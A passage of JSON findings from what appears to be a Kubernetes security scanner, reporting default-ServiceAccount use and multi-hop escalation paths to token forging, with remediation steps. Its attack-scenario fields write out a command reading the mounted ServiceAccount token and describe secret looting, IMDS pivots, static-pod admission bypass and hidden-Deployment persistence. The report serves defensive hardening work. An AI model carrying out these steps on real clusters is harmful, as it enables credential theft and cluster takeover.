    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Deployment:vulnerable:socket-mounts-app",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Deployment/vulnerable/socket-mounts-app` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Deployment/vulnerable/socket-mounts-app` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Deployment",
      "name": "socket-mounts-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/socket-mounts-app`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n vulnerable create sa socket-mounts-app-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: socket-mounts-app-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n vulnerable -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n vulnerable -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-SA-DEFAULT-001:Job:gw-workloads:gw-batch",
    "rule_id": "KUBE-SA-DEFAULT-001",
    "severity": "MEDIUM",
    "score": 5.4,
    "category": "privilege_escalation",
    "title": "Workload `Job/gw-workloads/gw-batch` runs as the namespace `default` ServiceAccount",
    "description": "Workload `Job/gw-workloads/gw-batch` does not specify `serviceAccountName` and therefore runs as the namespace's `default` ServiceAccount, which by default has its token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nThe `default` SA is harmless in a fresh namespace, but it is a magnet for permission accumulation: operators, Helm charts, and ClusterRoleBindings frequently bind permissions to it (often by mistake, via `subjects: [{kind: ServiceAccount, name: default, namespace: foo}]`), and the only way to know if the SA is dangerous is to enumerate every binding referencing it.\n\nThe Kubernetes RBAC Good Practices guide explicitly recommends per-workload ServiceAccounts so that the blast radius of an exposed token is bounded by a single workload's needs. An attacker with RCE in this pod reads the token, then runs `kubectl auth can-i --list` to find every accreted permission, often elevated by drift over the namespace's lifetime.",
    "resource": {
      "kind": "Job",
      "name": "gw-batch",
      "namespace": "gw-workloads",
      "api_group": "batch"
    },
    "namespace": "gw-workloads",
    "scope": {
      "level": "workload",
      "detail": "Workload `Job/gw-workloads/gw-batch`"
    },
    "impact": "Token theft yields whatever permissions the namespace `default` SA has been granted (often elevated by drift); enables lateral movement to other workloads in the namespace.",
    "attack_scenario": [
      "RCE in the pod.",
      "Read the SA token: `cat /var/run/secrets/kubernetes.io/serviceaccount/token`.",
      "Enumerate permissions: `kubectl --token=$TOKEN auth can-i --list`.",
      "Exploit any usable verb. Common findings: `secrets/get` (loot all secrets), `pods/exec` (shell into other pods), `pods/create` with privileged template (escalate to node).",
      "Persist by creating a hidden Deployment with the same compromised SA."
    ],
    "evidence": {
      "service_account": "default"
    },
    "remediation": "Create a dedicated ServiceAccount per workload with least-privilege RBAC; disable automount on the namespace `default` SA.",
    "remediation_steps": [
      "Create a ServiceAccount: `kubectl -n gw-workloads create sa gw-batch-sa`. Grant only the verbs/resources the app actually needs via a Role + RoleBinding.",
      "Reference the new SA in the PodSpec via `serviceAccountName: gw-batch-sa`. If the app does NOT need to talk to the API at all, also set `automountServiceAccountToken: false`.",
      "Disable automount on the namespace default SA: `kubectl patch sa default -n gw-workloads -p '{\"automountServiceAccountToken\": false}'`.",
      "Validate: `kubectl get pod -n gw-workloads -l \u003cselector\u003e -o jsonpath='{.items[*].spec.serviceAccountName}'` returns the new SA, not `default`."
    ],
    "references": [
      "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/",
      "https://kubernetes.io/docs/concepts/security/service-accounts/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Configure Service Accounts for Pods",
        "url": "https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
      },
      {
        "title": "Kubernetes — Service Accounts",
        "url": "https://kubernetes.io/docs/concepts/security/service-accounts/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1078",
        "name": "Valid Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/"
      },
      {
        "id": "T1528",
        "name": "Steal Application Access Token",
        "url": "https://attack.mitre.org/techniques/T1528/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.5",
        "title": "Ensure that default service accounts are not actively used",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authentication",
        "title": "Service account tokens",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:defaultServiceAccount"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/foothold-ops/foothold-named-execer:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.3,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/foothold-ops/foothold-named-execer` can reach `token_mint` in 3 hop(s)",
    "description": "Subject `ServiceAccount/foothold-ops/foothold-named-execer` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader` via `pod_exec` (create pods/exec|pods/attach): can exec into pods running as ServiceAccount foothold-exec/foothold-reader\n  2. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod foothold-exec/foothold-target falls back to node IAM role via IMDS\n  3. `ServiceAccount/foothold-exec/foothold-reader` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "foothold-named-execer",
      "namespace": "foothold-ops"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/foothold-ops/foothold-named-execer` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/foothold-ops/foothold-named-execer` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/foothold-ops/foothold-named-execer`.",
      "Acting as `ServiceAccount/foothold-ops/foothold-named-execer`, the attacker uses `pods/exec` (`create pods/exec|pods/attach`) to open a shell inside `ServiceAccount/foothold-exec/foothold-reader` and inherit whatever ServiceAccount or host privileges that container holds.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod foothold-exec/foothold-target falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/foothold-exec/foothold-reader`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_exec [create pods/exec|pods/attach]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "3. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "pod_exec",
      "hop_count": 3,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_exec",
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create pods/exec|pods/attach` that enables the first hop (`ServiceAccount/foothold-ops/foothold-named-execer` → `ServiceAccount/foothold-exec/foothold-reader`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_exec",
        "technique": "KUBE-PRIVESC-004",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-named-execer",
          "namespace": "foothold-ops"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "permission": "create pods/exec|pods/attach",
        "gains": "can exec into pods running as ServiceAccount foothold-exec/foothold-reader",
        "source_binding": "foothold-named-execer",
        "source_role": "foothold-named-execer",
        "binding_namespace": "foothold-exec"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod foothold-exec/foothold-target falls back to node IAM role via IMDS"
      },
      {
        "step": 3,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "foothold-reader",
          "namespace": "foothold-exec"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:ServiceAccount/imgswap-fixtures/imgswap-patcher:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.3,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/imgswap-fixtures/imgswap-patcher` can reach `token_mint` in 3 hop(s)",
    "description": "Subject `ServiceAccount/imgswap-fixtures/imgswap-patcher` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader` via `pod_image_hijack` (get,list,patch pods): can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them\n  2. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS\n  3. `ServiceAccount/imgswap-fixtures/imgswap-reader` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "ServiceAccount",
      "name": "imgswap-patcher",
      "namespace": "imgswap-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/imgswap-fixtures/imgswap-patcher` → `token_mint`"
    },
    "impact": "Compromise of `ServiceAccount/imgswap-fixtures/imgswap-patcher` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/imgswap-fixtures/imgswap-patcher`.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-patcher`, the attacker uses `update`/`patch` on `pods` (`get,list,patch pods`) to change the container image of a pod running as `ServiceAccount/imgswap-fixtures/imgswap-reader`. The API server's pod update validation keeps container images mutable on a live pod, and no in-tree controller reverts the change: the kubelet restarts the container with the attacker's image inside the same pod sandbox, with the same ServiceAccount token mount, securityContext, host namespaces, and volumes. The result is a shell in that pod without any exec or ephemeral-container verb.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/imgswap-fixtures/imgswap-reader`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. pod_image_hijack [get,list,patch pods]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "3. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "pod_image_hijack",
      "hop_count": 3,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "pod_image_hijack",
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `get,list,patch pods` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `get,list,patch pods` that enables the first hop (`ServiceAccount/imgswap-fixtures/imgswap-patcher` → `ServiceAccount/imgswap-fixtures/imgswap-reader`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "pod_image_hijack",
        "technique": "KUBE-PRIVESC-034",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-patcher",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "permission": "get,list,patch pods",
        "gains": "can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them",
        "source_binding": "imgswap-pod-patcher",
        "source_role": "imgswap-pod-patcher",
        "binding_namespace": "imgswap-fixtures"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod imgswap-fixtures/imgswap-reader-app-b5544c498-65nm9 falls back to node IAM role via IMDS"
      },
      {
        "step": 3,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "imgswap-reader",
          "namespace": "imgswap-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:User/gw-deployer:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.3,
    "category": "privilege_escalation",
    "title": "`User/gw-deployer` can reach `token_mint` in 3 hop(s)",
    "description": "Subject `User/gw-deployer` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `User/gw-deployer` → `ServiceAccount/gw-workloads/gw-web-sa` via `workload_create_token_theft` (create deployments): can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa\n  2. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS\n  3. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "User",
      "name": "gw-deployer"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `User/gw-deployer` → `token_mint`"
    },
    "impact": "Compromise of `User/gw-deployer` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `User/gw-deployer`.",
      "Acting as `User/gw-deployer`, the attacker creates a workload (`create deployments`) whose pod template runs as `ServiceAccount/gw-workloads/gw-web-sa`. The workload controller creates the pods, and nothing checks whether the writer may use that ServiceAccount, so the attacker's container holds its token. This is the same reach as creating the pod directly.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_create_token_theft [create deployments]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "3. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "workload_create_token_theft",
      "hop_count": 3,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "workload_create_token_theft",
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `create deployments` that enables the first hop (`User/gw-deployer` → `ServiceAccount/gw-workloads/gw-web-sa`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
      "Apply the cut: remove the permission `create deployments` that enables the first hop (`User/gw-deployer` → `ServiceAccount/gw-workloads/gw-web-sa`).",
      "Re-run the scanner to confirm the path no longer resolves."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_create_token_theft",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "gw-deployer"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "permission": "create deployments",
        "gains": "can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa",
        "source_binding": "gw-deployer",
        "source_role": "gw-deployer",
        "binding_namespace": "gw-workloads"
      },
      {
        "step": 2,
        "action": "imds_node_role_pivot",
        "technique": "KUBE-CLOUD-IMDS-PIVOT-001",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "IMDS reachable, IRSA unbound",
        "gains": "pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS"
      },
      {
        "step": 3,
        "action": "static_pod_admission_bypass",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-web-sa",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "write access to /etc/kubernetes/manifests",
        "gains": "can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:token_mint"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-GENERIC:User/gw-patcher:token_mint",
    "rule_id": "KUBE-PRIVESC-PATH-GENERIC",
    "severity": "MEDIUM",
    "score": 5.3,
    "category": "privilege_escalation",
    "title": "`User/gw-patcher` can reach `token_mint` in 3 hop(s)",
    "description": "Subject `User/gw-patcher` has a multi-hop chain to `token_mint`. Each hop in the chain is an RBAC primitive the engine validated against the snapshot.\n\nThe chain:\n  1. `User/gw-patcher` → `ServiceAccount/gw-workloads/gw-web-sa` via `workload_hijack` (patch deployments): can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa\n  2. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `imds_node_role_pivot` (IMDS reachable, IRSA unbound): pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS\n  3. `ServiceAccount/gw-workloads/gw-web-sa` → `/` via `static_pod_admission_bypass` (write access to /etc/kubernetes/manifests): can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control",
    "subject": {
      "kind": "User",
      "name": "gw-patcher"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `User/gw-patcher` → `token_mint`"
    },
    "impact": "Compromise of `User/gw-patcher` chains to `token_mint`. Investigate the specific privileges this sink represents in your cluster.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `User/gw-patcher`.",
      "Acting as `User/gw-patcher`, the attacker rewrites the pod template of an existing workload (`patch deployments`) so that its pods run the attacker's code as `ServiceAccount/gw-workloads/gw-web-sa`. The controller rolls out the change itself. The rewritten pods keep the rest of the workload's spec, including any host access it already had.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `imds_node_role_pivot` technique via `IMDS reachable, IRSA unbound`, which gains pod gw-workloads/gw-web-78c47cbd6c-t2jfr falls back to node IAM role via IMDS.",
      "Acting as `ServiceAccount/gw-workloads/gw-web-sa`, the attacker uses the `static_pod_admission_bypass` technique via `write access to /etc/kubernetes/manifests`, which gains can read sa.key to forge any ServiceAccount token, and drop static pods that bypass all admission control.",
      "Final step: attacker reaches `token_mint`."
    ],
    "evidence": {
      "chain_summary": [
        "1. workload_hijack [patch deployments]",
        "2. imds_node_role_pivot [IMDS reachable, IRSA unbound]",
        "3. static_pod_admission_bypass [write access to /etc/kubernetes/manifests]"
      ],
      "first_action": "workload_hijack",
      "hop_count": 3,
      "target": "token_mint",
      "target_namespace": "",
      "techniques": [
        "workload_hijack",
        "imds_node_role_pivot",
        "static_pod_admission_bypass"
      ]
    },
    "remediation": "Break the chain at the weakest hop: remove the permission `patch deployments` that enables the first hop (`User/gw-patcher` → `ServiceAccount/gw-workloads/gw-web-sa`).",
    "remediation_steps": [
      "Confirm each hop with `kubectl auth can-i`.",
